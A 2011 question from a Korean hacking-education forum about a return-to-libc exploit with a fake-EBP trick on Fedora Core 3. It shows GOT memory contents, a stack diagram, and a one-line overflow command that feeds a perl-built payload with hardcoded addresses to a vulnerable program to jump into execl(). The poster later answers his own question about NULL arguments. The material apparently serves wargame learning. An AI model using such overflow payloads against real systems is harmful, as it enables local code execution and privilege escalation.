시스템 해킹

 1576, 1/79 회원가입  로그인  
   cropin
   페도라3 에서의 RTL 기법 관련 질문드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1504 [복사]


제가 다음과 같이 GOT 영역을 찾아서

0x8049620 <_GLOBAL_OFFSET_TABLE_>:      0x08049554      0x00000000      0x00000000      0x080482ee
0x8049630 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e      0x00000000

다음과 같이  fake ebp기법으로 sfp를 0x8049618로 수정하고
주소가 0x882723인 execl()함수 + 3(프롤로그 제거)를 실행하게 하였습니다.
./vul `perl -e 'print "A"x40, "\x18\x96\x04\x08", "\x23\x27\x88\x00"'`

이러면 실행이 잘 됩니다만

이해가 안가는게

프롤로그를 제거한 execl() 함수가 실행될 때

다음과 같이 스택이 될껍니다.

낮은주소  

[                                  ]
[     쓸모없는  data         ] < ebp가 가리키는 곳 0x08049618
[     쓸모없는  data         ]
[ "\01"을 가리키는 주소  ] < execl 함수의 첫번째 인자
[        0x00000000         ] < execl 함수의 두번째 인자
[        0x00000000         ] < execl 함수의 세번쨰 인자

높은주소

이걸 보면 execl("\x01", NULL, NULL);

을 실행하는거라 볼 수 있는데요

그런데 막상 인자를 NULL로 넣으면 실행이 안되는 걸로 제가 알고 있어서

저렇게 해서 실행을 해보았더니 역시나 안되더군요.

execl("~~", NULL); 도 당연히 안되구요..

문서를 보면 0x00이 아닌 수로 채워진 값들어 나와서 이해를 하겠는데

제 경우엔 0x00이 나오니 실행이 안되야 맞다고 생각하는데

제가 뭘 잘못생각하고 있는건가요?

  Hit : 3373     Date : 2011/07/22 10:46



    
cropin 아 자문자답하네요 ㅠ
몇번해보니까

/bin/sh 처럼 전체 디렉토리면 환경변수를 꼭 넣어줘야하지만
환경변수에 있는 곳의 프로그램(exe sh)나 현재폴더에 있는걸 실행시키면
환경변수를 안넣어줘도 되네요 _-;;
2011/07/22